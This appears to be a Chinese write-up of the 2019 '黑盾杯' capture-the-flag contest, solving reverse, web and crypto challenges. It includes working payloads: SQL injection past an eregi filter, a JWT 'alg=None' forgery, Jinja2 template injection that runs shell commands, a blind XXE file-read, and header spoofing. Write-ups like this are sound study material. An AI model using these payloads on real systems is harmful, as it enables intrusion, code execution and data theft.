1. 程式人生 > 實用技巧 >"黑盾杯"2019-Writeup(部分)

"黑盾杯"2019-Writeup(部分)

前言

"黑盾杯"賽制,比賽時長6小時,上半場標準的奪旗賽,但沒有一血獎勵機制,下半場企業滲透,最後理論知識競賽結尾

Re

guess the key

程式提供了加密方式,和一對明文密文

先逆向加密演算法,寫出破解key的指令碼,再猜測另一份密文可能使用的Key即可

payload

plain_text = open('msg01','r').read().strip()
cipher_text = open('msg01.enc','r').read().strip()
cipher2_text = open('msg02.enc','r').read().strip()

plain_text = [ord(i) for i in plain_text]
cipher_text = [ord(i) for i in cipher_text]
cipher2_text = [ord(i) for i in cipher2_text]

t = 0
f = 0
key = ''
plain = ''

for i in range(len(plain_text)):
	c = ((cipher_text[i] - (i*i) - plain_text[i]) ^ t) & 0xff
	key += chr(c)
	t = plain_text[i]
key = key[0:31]
print key

//VeryVeryLongKeyYouWillNeverKnowVery

key = [ord(i) for i in key]
for i in range(len(cipher2_text)):
	c = (cipher2_text[i] - (key[i % len(key)] ^ f) - i*i) & 0xff
	plain += chr(c)
	f = c

print plain

//She had been shopping with her Mom in Wal-Mart. She must have been 6 years old, this beautiful brown haired, freckle-faced image of innocence. It was pouring outside. The kind of rain that gushes over the top of rain gutters, so much in a hurry to hit the Earth, it has no time to flow down the spout.flag{101a6ec9f938885df0a44f20458d2eb4}

Web

i have the_flag

頁面js一堆沒用的函式,只有一個ck函式有用

function ck(s) {
    try {
        ic
    } catch (e) {
        return;
    }
    var a = [118, 108, 112, 115, 111, 104, 104, 103, 120, 52, 53, 54];
    if (s.length == a.length) {
        for (i = 0; i < s.length; i++) {
            if (a[i] - s.charCodeAt(i) != 3)
                return ic = false;
        }
        return ic = true;
    }
    return ic = false;
}

很顯然解出這串Ascii值拿去提交就可以成功getflag

I have the Flag
Type in something to get the flag.

Tips: Maybe you have the flag.

Something: 
simpleedu123


Congratulations!!

muWn9NU0H6erBN/w+C7HVg

a little hard

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
	$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
	$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
	$cip = $_SERVER["REMOTE_ADDR"];
else
	$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "�������IP���ڷ����б�֮�ڣ�";
}
?>

題目直接給了原始碼,閱讀原始碼可知可通過偽造XFF頭令變數$GetsIP值為1.1.1.1,構造請求頭即可得到flag

GET /hard/ HTTP/1.1
Host: 202.0.0.37
x-forwarded-for: 1.1.1.1
Connection: close

click_1

這題就太簡單了

檢視原始碼系列

<div id="esc" style="position:absolute;"><input type="button" onfocus="nokp();" onclick="window.location='?key=700c';" value="click me!"></div><input type="text" readonly style="width:350;" id="hint" value="do you want to join? catch button, if you can!">

注意到?key=700c,於是構造URL訪問http://202.0.0.37/click/?key=700c即可得到flag

花式過waf

2018黑盾杯原題,使用工具掃描後發現有www.zip,下載原始碼開始程式碼審計

function.php: eregi 可以使用 %00截斷正則

function filtering($str) {
    $check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
    if($check)
        {
        echo "非法字元!";
        exit();
    }
    .....
}

content.php: 裡面直接拼接給的引數

<?php
include './global.php';
extract($_REQUEST);

$sql = "select * from test.content where id=$message_id";

構造請求得到flag。

message_id="%00" union select 1,2,flag,4 from flag

忘記密碼了

題目一開始只有一個文字框,要求填入email,隨便填一個後有alert提示前往/forget/[email protected]&check=?????進行下一步

發現網頁原始碼中有重要資訊:

	<meta name="admin" content="[email protected]" />
	<meta name="editor" content="Vim" />

並且step2.php中含有一個提交到submit.php的表單,有emailAddress欄位和token欄位

看到Vim可以想到Vim編輯器在非正常退出的情況下會留下.swp檔案,經過逐個測試發現了submit.php的原始碼

forget/.submit.php.swp
........這一行是省略的程式碼........

/*
如果登入郵箱地址不是管理員則 die()
資料庫結構

--
-- 表的結構 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 轉存表中的資料 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/


........這一行是省略的程式碼........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失敗了呀";
	}
}

按照程式碼構造token,得到flag

GET /forget/[email protected]&token=0000000000

py一波吧-ssti+jwt_1

JWT alg=None 簽名bypass攻擊 -> SSTI,強行把兩道題拼成一道題,沒有第一步不能進入SSTI

隨便輸入一個使用者名稱密碼,將cookie裡面的token提取出來,解base64可得

```
{"alg":"HS256","typ":"JWT"}.{"username":"admin1"}.signature
```

可以生成一個使用者名稱為admin的token

#encoding: utf-8 
#PyJWT
import jwt 
import time 
 
 
 
def create_token(): 
    payload = { 
         "username": "admin" 
    } 
    token = jwt.encode(payload, None, algorithm=None) 
    print token 
 
 
create_token()

把token換上去,就可以進入SSTI流程了。

SSTI過濾了:單引號、os、system、[]

Jinja2對與不存在的物件有一個特殊的定義Undefined類,<class 'jinja2.runtime.Undefined'>

jinja2/runtime.py

@implements_to_string
class Undefined(object):
    ...

通過構造title={{vvv.__class__.__init__.__globals__ }}就可以搞事情了,發現有個eval,就是它了。

{'new_context': <function new_context at 0x7fc79bb4faa0>, 'chain': <type 'itertools.chain'>, '_context_function_types': (<type 'function'>, <type 'instancemethod'>), 'resolve_or_missing': <function resolve_or_missing at 0x7fc79bb4fcf8>, 'Namespace': <class 'jinja2.utils.Namespace'>, 'ContextMeta': <class 'jinja2.runtime.ContextMeta'>, 'evalcontextfunction': <function evalcontextfunction at 0x7fc79bd919b0>, 'escape': <built-in function escape>, 'LoopContext': <class 'jinja2.runtime.LoopContext'>, '_first_iteration': <object object at 0x7fc79f5b2190>, 'TemplateNotFound': <class 'jinja2.exceptions.TemplateNotFound'>,···'eval': <built-in function eval>

不能用[]可以使用.get()繞過,被過濾的字串可以拆分成2個字串或者使用格式化字串的方法。

{{vvv.__class__.__init__.__globals__.get("__bui"+"ltins__").get("e"+"val")("__imp"+"ort__(\"o"+"s\").po"+"pen(\"ls\").read()")}}

執行命令列目錄,發現沒有傳說中的flag,但是發現了一個以數字+英文組合為檔名的檔案,經過確認,就是flag

{{vvv.__class__.__init__.__globals__.get("__bui"+"ltins__").get("e"+"val")("__imp"+"ort__(\"o"+"s\").po"+"pen(\"cat f41321d3b61338c8d239e75d971f34a4\").read()")}}

本題原始碼在/app/none路徑下,也可通過構造類似命令進行讀取。

hardupload

在今年的Google CTF 中出了一道Blind XXE 題 bnv,可以做參考

不懂xxe建議先了解一波

https://www.cnblogs.com/backlion/p/9302528.html

https://xz.aliyun.com/t/3357

上傳php一句話返回錯誤資訊

 For Security, our system do not allow upload xml file from now on.</b></br>Other file like png,jpg,rar,zip...etc is welcome</br>

可以上傳圖片等檔案格式,恰好xml可以解析svg

payload

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message ANY>
  <!ENTITY % para1 SYSTEM "file:///hhh_Th1s_y0uR_f14g"> //根據報錯回顯找到flag路徑
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message>

注意指定MIME型別 Content-Type: text/xml

crypto

MaybeBase

YMFZZTY0D3RMD3RMMTIZ 這一串到底是什麼!!!!為什麼這麼像base32卻不是!!!明文的md5值為16478a151bdd41335dcd69b270f6b985

可以用base64不區分大小寫工具直接爆出所有可能的flag

#!/usr/bin/env python
#coding: utf-8
import base64,sys,os,redef,re

def dfs(res,arr,pos):
    res.append(''.join(arr))
    i=pos
    for i in range(i,len(arr)):
        if arr[i]<='Z' and arr[i]>='A':
            arr[i]=arr[i].lower()
            dfs(res,arr,i+1)
            arr[i]=arr[i].upper()

if __name__=="__main__":
    print '+' + '-' * 50 + '+'
    print u'\t  base64大小寫轉換解密工具'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 2:
        print u'用法:' + os.path.basename(sys.argv[0]) + u' base64密文'
        print u'例項:' + os.path.basename(sys.argv[0]) + ' "AGV5IULSB3ZLVSE="'
        sys.exit()
    arr = list(sys.argv[1])
    res = []
    dfs(res, arr, 0)
    res_decode = map(base64.b64decode, res)
    for i in res_decode:
        if re.findall(r'\\x', repr(i)):
            continue
        else:
            print i

/*
base64wtfwtf123
base64wtfwtL123
base64wtLwtf123
base64wtLwtL123
baYe64wtfwtf123
baYe64wtfwtL123
baYe64wtLwtf123
baYe64wtLwtL123
*/

得到base64wtfwtf123的md5值為16478a151bdd41335dcd69b270f6b985